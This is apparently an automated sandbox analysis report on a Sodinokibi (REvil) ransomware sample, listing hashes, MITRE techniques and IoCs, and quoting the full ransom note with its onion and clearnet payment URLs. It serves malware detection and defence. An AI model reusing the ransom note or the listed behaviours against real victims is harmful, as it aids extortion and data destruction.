sodinokibi | 78a28b25b330513649439305a5d9293cb07fb796ad6521ef31f39a5453a549d8

Resubmissions

07-09-2023 14:45

230907-r45fysaf5s 10

07-09-2023 14:12

230907-rjbyxaad5s 10

Analysis

max time kernel
139s
max time network
156s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
07-09-2023 14:12

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Report Analysis Logs

General

Target

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Size

164KB
MD5

5e2627aa0eda8c0f55f2b8f075c91e42
SHA1

5628a78e002734c6885a0ab6ec97aa6425bcc882
SHA256

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670
SHA512

af01edf7497f19212f855f1717353227a2f35435c9adc4ca82fd4e2d31081a2d1ac1270c2330ceb20afc6c5be6f97782d8a3388f834bd9a3ecc2f7c78b6c087f
SSDEEP

3072:xdHwJK3BMoFiWjmfb+HP+rnRfUMfm0Sl0/1:xNwE3q4jmfCHWtUWI6

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\07e255630-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 07e255630. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4F974E09500AD20B 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/4F974E09500AD20B Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: jX8QnoidfK8c3h58xcGP14uJEV9ExeDW2VRFYstcQTLrzrcXaHzD8/4udLv2X00D cjArzRj+zqP0Pc1dDUKYtc1+/O/GhBlz3FhgvZUHvN0OET31FvkYJ7pJm+cgWEta tOk7Ovmw/mBaPPDJEWp9+A35jrcBtX0gtpPOmiZEVugEUsWQ85CNGNZCv5Ef/FuH xu4ek7hUek+7lMZL/pY8ny4luZ/BA9dTD6duFDC1yLjG5EJ+E0qIpgFJvReaNAmv m2nYi1fKbLuAb1hUQU2VKIP53jP1DVmSxto+bytMT/zKRDntmjHy9ldoruYVuPmq UNPZycJv3Sph1Tn91d8tdPWurcwAHPh3LXiWFqPJNA1WIhTfrgZFQm0j0Ib4jg/l 7B9WeesCR1eDOHxTgYh4UgxlqpIPRhmH/4Ttvue0bBYqxKuAHNBXQqAGELGENrSO GRpyoluoOkKrxOD3n2kSMQWYAanOmCgkcOnVPvkxRKOoNq2Z56+/stQC3SHctTTo VtqIXDEHLj3tpRSUa3C8A4ENQ7mo+VD9YDVcQblMZ+QdeNJFJZme/XxZ9M//635W 7Cwpl2hTzQ8TRkXitB6p6A7lVbKmBFFyi7IGvBLHSTdi7bvoUcy0ZpJwN0IcIxGs KnGHo6jTBD2EJfiEdH7rDvYW5Rq+6s+JSdrP4FHeuhkUKq/LCEiP7tqCmAWcyk+B wiOHDPJdN8/Yf8bqB9h58mUvfd4ssXSvk5KOqEMWij02SFz4o1KI1xXVo00S4QV4 02SG+m3NI0LdMZdStv2BE7aGMAWtlwJSxFJrVMVjmTKLEmxMDNViZeJlqiECT6W/ EY2rDRlHoJkijLJHmezrgBEYW4nj773ZP/v6+gekEGILC2t99Uc4szW1w6ernN+u uKa/2pGHl56M9mE7SA8XoP6mpwWCUTHO/0rO0Oc4CtCs9I1Lu4z5+XNeUWMQm4LB WCHS0U6zgTEJc9ugBU7v6hcjrYwatLgSwmmvy96nQLS6rYqTRLKpRAXdES8PLKjr dgMt9Bz33V5xAQylydvGvlQ2CAFlIguKPx1+AqMImY/fRXnhuu7XBy+0TztXPNNL 6o+Qc8IzP5Cvh8E+iY/93fSkdkjeWrmJv6r74dqIDmc7RGKtmetXA49hP+GgM1Gp U0DS+uotIYEiMezIaxD0T/uzRvz1mUj0NOdIbQ8NdA0W6wleCjpdfn1o32JCJh/e LMptchfooN0Z2kiFX1jpydK1 Extension name: 07e255630 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4F974E09500AD20B

http://decryptor.top/4F974E09500AD20B

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	ioc	process
File opened (read-only)	\??\S:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\A:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\I:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\O:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\Q:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\W:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\F:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\E:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\K:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\L:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\V:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\Y:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\D:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\G:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\J:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\R:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\X:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\P:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\T:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\U:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\Z:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\B:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\H:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\M:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened (read-only)	\??\N:	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Drops file in System32 directory 1 IoCs

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\17uv9.bmp"	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Drops file in Program Files directory 38 IoCs

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	ioc	process
File created	\??\c:\program files (x86)\07e255630-readme.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\BlockSelect.vdw	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\CompleteRedo.easmx	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ExportCompare.htm	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\OpenHide.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\PublishShow.wmv	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\RegisterWatch.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\StopDeny.jpg	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\TraceConvertFrom.3gpp	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\07e255630-readme.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\BackupComplete.jpg	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\UpdateTrace.ex_	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File created	\??\c:\program files\07e255630-readme.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\CheckpointNew.otf	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ConnectExit.wmf	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\RepairGroup.tmp	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\TestTrace.easmx	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\CompareInvoke.js	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ProtectGrant.wm	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ClearMerge.jpeg	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ConvertFromReceive.mpeg	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\GetDisconnect.odt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\UnregisterStop.mhtml	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\CompareWait.M2V	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\DismountUpdate.svgz	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\LimitInitialize.ini	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ConvertFromReceive.svg	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\PushShow.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\RequestExport.mpeg3	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\SyncPublish.wdp	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\WatchUse.pps	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\07e255630-readme.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\07e255630-readme.txt	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\ConfirmApprove.rtf	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\DismountCopy.vsdm	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\MergeUnprotect.docm	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\TestReset.ram	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
File opened for modification	\??\c:\program files\UnprotectBackup.xla	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80f79b7b95e1d901	powershell.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000020000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exepowershell.exe

pid	process
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2572	powershell.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeBackupPrivilege	1716	vssvc.exe
Token: SeRestorePrivilege	1716	vssvc.exe
Token: SeAuditPrivilege	1716	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe

description	pid	process	target process
PID 2096 wrote to memory of 2572	2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe	powershell.exe
PID 2096 wrote to memory of 2572	2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe	powershell.exe
PID 2096 wrote to memory of 2572	2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe	powershell.exe
PID 2096 wrote to memory of 2572	2096	55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe
"C:\Users\Admin\AppData\Local\Temp\55bdc39b0b7686a57916d2fee2c0f9559e5b947d115bfcb6b5b255706a412670.exe"
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
